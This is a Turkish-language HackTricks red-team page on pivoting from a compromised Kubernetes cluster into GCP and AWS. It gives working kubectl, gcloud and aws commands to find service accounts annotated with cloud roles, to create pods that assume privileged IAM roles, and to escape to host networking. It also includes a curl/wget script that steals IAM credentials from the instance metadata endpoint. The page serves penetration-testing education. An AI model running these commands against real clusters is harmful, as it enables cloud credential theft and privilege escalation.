Kubernetes Pivoting to Clouds

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

GCP

Eğer bir k8s kümesini GCP içinde çalıştırıyorsanız, küme içinde çalışan bazı uygulamaların GCP'ye erişmesini isteyebilirsiniz. Bunun için iki yaygın yol vardır:

GCP-SA anahtarlarını gizli olarak bağlama

Bir kubernetes uygulamasına GCP'ye erişim vermenin yaygın bir yolu şudur:

  • Bir GCP Hizmet Hesabı oluşturun

  • İstenilen izinleri ona bağlayın

  • Oluşturulan SA'nın json anahtarını indirin

  • Pod içinde bir gizli olarak bağlayın

  • GOOGLE_APPLICATION_CREDENTIALS ortam değişkenini json dosyasının bulunduğu yola ayarlayın.

Bu nedenle, bir saldırgan olarak, bir pod içindeki bir konteynırı ele geçirirseniz, bu env değişkenini ve GCP kimlik bilgileriyle json dosyalarını kontrol etmelisiniz.

GSA json'ını KSA gizli ile ilişkilendirme

Bir GSA'ya bir GKE kümesinde erişim vermenin bir yolu şu şekildedir:

  • Aşağıdaki komutu kullanarak GKE kümenizin aynı ad alanında bir Kubernetes hizmet hesabı oluşturun:

Copy codekubectl create serviceaccount <service-account-name>
  • GKE kümesine erişim sağlamak istediğiniz GCP hizmet hesabının kimlik bilgilerini içeren bir Kubernetes Secret oluşturun. Bunu aşağıdaki örnekte gösterildiği gibi gcloud komut satırı aracını kullanarak yapabilirsiniz:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Aşağıdaki komutu kullanarak Kubernetes Gizemini Kubernetes hizmet hesabına bağlayın:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

İkinci adımda, GSA'nın kimlik bilgileri KSA'nın sırrı olarak ayarlandı. Ardından, GKE kümesinin içinden bu sırrı okuyabiliyorsanız, o GCP hizmet hesabına yükseltme yapabilirsiniz.

GKE İş Yükü Kimliği

İş Yükü Kimliği ile, bir Kubernetes hizmet hesabını bir Google hizmet hesabı olarak kullanmasını yapılandırabiliriz. Kubernetes hizmet hesabıyla çalışan pod'lar, Google Cloud API'lerine erişirken otomatik olarak Google hizmet hesabı olarak kimlik doğrulaması yapar.

Bu davranışı etkinleştirmek için ilk adım serisi, GCP'de İş Yükü Kimliği'ni etkinleştirmek (adımlar) ve k8s'in taklit etmesini istediğiniz GCP SA'yı oluşturmaktır.

  • Yeni bir kümede İş Yükü Kimliğini etkinleştirin

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • Bir pod çalıştırın ve KSA ile GSA'ya erişimi kontrol edin:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Aşağıdaki komutu kimlik doğrulama gerektiğinde kullanmak için kontrol edin:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

K8s içinde bir saldırgan olarak, iam.gke.io/gcp-service-account açıklamasına sahip SA'ları aramalısınız, çünkü bu, SA'nın GCP'de bir şeye erişebileceğini gösterir. Başka bir seçenek, kümedeki her KSA'yı kötüye kullanmaya çalışmak ve erişimi kontrol etmektir. GCP'den, SA'lara Kubernetes içinde hangi erişimi verdiğinizi belirlemek için bağlantıları numaralandırmak her zaman ilginçtir.

Bu, tüm pod tanımlarını kolayca gezmek için bir betiktir:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (Podlar için IAM rolü)

Podlara IAM Rollerini vermenin (eski bir) yolu, bir Kiam veya Kube2IAM sunucusu kullanmaktır. Temel olarak, bir daemonset'i, bir tür ayrıcalıklı IAM rolü ile kümenizde çalıştırmanız gerekecektir. Bu daemonset, ihtiyaç duyan podlara IAM rollerine erişim sağlayacak olan daemonset olacaktır.

İlk olarak, hangi rollerin ad alanı içinde erişilebilir olacağını yapılandırmanız gerekmektedir ve bunu ad alanı nesnesi içinde bir açıklama ile yaparsınız:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Namespace, IAM rolleriyle yapılandırıldığında, Pod'lar üzerinde sahip olabileceğiniz rolleri belirtebilirsiniz. Her pod tanımında aşağıdaki gibi bir rol belirtebilirsiniz:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

Bir saldırgan olarak, eğer podlarda veya namespace'lerde veya bir kiam/kube2iam sunucusunda (muhtemelen kube-system içinde) bu açıklamaları bulursanız, zaten podlar tarafından kullanılan her rolü taklit edebilirsiniz ve daha fazlasını (AWS hesabına erişiminiz varsa rolleri sıralayın).

IAM Rolü ile Pod Oluşturma

Belirtilen IAM rolü, kiam/kube2iam rolüyle aynı AWS hesabında olmalı ve bu rolün erişimine izin verilmelidir.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

K8s Hizmet Hesapları için IAM Rolü OIDC ile

Bu, AWS tarafından önerilen yöntemdir.

  1. Ardından, SA'nın gereksinim duyacağı izinlere sahip bir IAM rolü oluşturun.

  2. IAM rolü ile SA arasında bir güven ilişkisi oluşturun (veya rolün tüm SA'ların erişimine izin veren ad alanlarına güven verin). Güven ilişkisi, temel olarak OIDC sağlayıcı adını, ad alanı adını ve SA adını kontrol edecektir.

  3. Son olarak, bir SA oluşturun ve bir rolün ARN'sini belirten bir açıklama ekleyin, ve bu SA ile çalışan pod'lar, rolün belirtecine erişim sağlayacaktır. Belirteç, bir dosyaya yazılır ve yol, AWS_WEB_IDENTITY_TOKEN_FILE içinde belirtilir (varsayılan: /var/run/secrets/eks.amazonaws.com/serviceaccount/token).

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

/var/run/secrets/eks.amazonaws.com/serviceaccount/token dosyasından AWS'yi token kullanarak almak için şunu çalıştırın:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

Bir saldırgan olarak, bir K8s kümesini numaralandırabiliyorsanız, bu işaretlemeyle hizmet hesaplarını kontrol edin ve AWS'ye yükseltin. Bunun için, sadece IAM ayrıcalıklı hizmet hesaplarından birini kullanarak bir pod oluşturun ve token'ı çalın.

Ayrıca, bir pod içindeyseniz, AWS_ROLE_ARN ve AWS_WEB_IDENTITY_TOKEN gibi çevre değişkenlerini kontrol edin.

Bazen bir rolün Güven Politikası yanlış yapılandırılmış olabilir ve beklenen hizmet hesabına AssumeRole erişimi yerine, tüm hizmet hesaplarına erişim sağlar. Bu nedenle, kontrol edilen bir hizmet hesabına bir işaretleme yazabilme yeteneğine sahipseniz, role erişebilirsiniz.

Daha fazla bilgi için aşağıdaki sayfayı kontrol edin:

pageAWS - Federation Abuse

Kümedeki IAM Rolleriyle Pod'ları ve Hizmet Hesaplarını Bulma

Bu, tüm pod'ları ve hizmet hesaplarını tanımlarını gezen ve bu işaretlemeyi arayan bir betiktir:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Rolü

Önceki bölüm, podlarla IAM Rollerini nasıl çalacağınız hakkındaydı, ancak K8s kümesinin bir Düğümü, bir bulutta içeride bir örnek olacak. Bu, Düğümün büyük olasılıkla çalabileceğiniz yeni bir IAM rolüne sahip olacağı anlamına gelir (genellikle bir K8s kümesinin tüm düğümlerinin aynı IAM rolüne sahip olacağını unutmayın, bu yüzden her düğümü kontrol etmeye değmeyebilir).

Ancak, düğümden meta veri uç noktasına erişmek için önemli bir gereklilik vardır, düğümde olmanız (ssh oturumu?) veya en azından aynı ağa sahip olmanız gerekmektedir:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

IAM Rolü Token'ını Çalma

Daha önce, Pod'lara IAM Rollerini eklemeyi veya hatta IAM Rolünü çalmak için Node'a kaçmayı nasıl tartıştığımızı görmüştük.

Yeni kazandığınız IAM rolü kimlik bilgilerini çalmak için aşağıdaki betiği kullanabilirsiniz:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Referanslar

AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated